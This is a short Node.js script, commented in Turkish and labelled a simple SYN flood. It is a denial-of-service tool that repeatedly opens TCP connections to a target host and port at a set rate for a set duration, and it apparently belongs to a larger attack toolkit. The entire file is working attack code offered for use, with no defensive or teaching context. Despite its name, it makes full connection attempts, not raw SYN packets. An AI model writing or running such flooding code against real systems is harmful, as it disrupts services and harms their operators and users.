/ syn_fload.js
syn_fload.js
 1  // syn_flood_simple.js - Basit SYN Flood
 2  const net = require('net');
 3  
 4  console.log(`[+] SYN Flood: ${params.target}:${params.port}`);
 5  
 6  const target = params.target;
 7  const port = params.port;
 8  const endTime = Date.now() + (params.duration * 1000);
 9  const rate = params.rate || 500;
10  
11  let count = 0;
12  
13  function sendSYN() {
14      if (Date.now() > endTime) {
15          console.log(`\n[+] Toplam: ${count} SYN paketi`);
16          return;
17      }
18      
19      const socket = new net.Socket();
20      socket.unref();
21      
22      socket.on('error', () => {
23          // Hata beklenir - connection refused
24      });
25      
26      socket.on('connect', () => {
27          count++;
28          socket.end();
29      });
30      
31      socket.connect(port, target);
32      
33      // Rate kontrolü
34      setTimeout(sendSYN, 1000 / rate);
35  }
36  
37  sendSYN();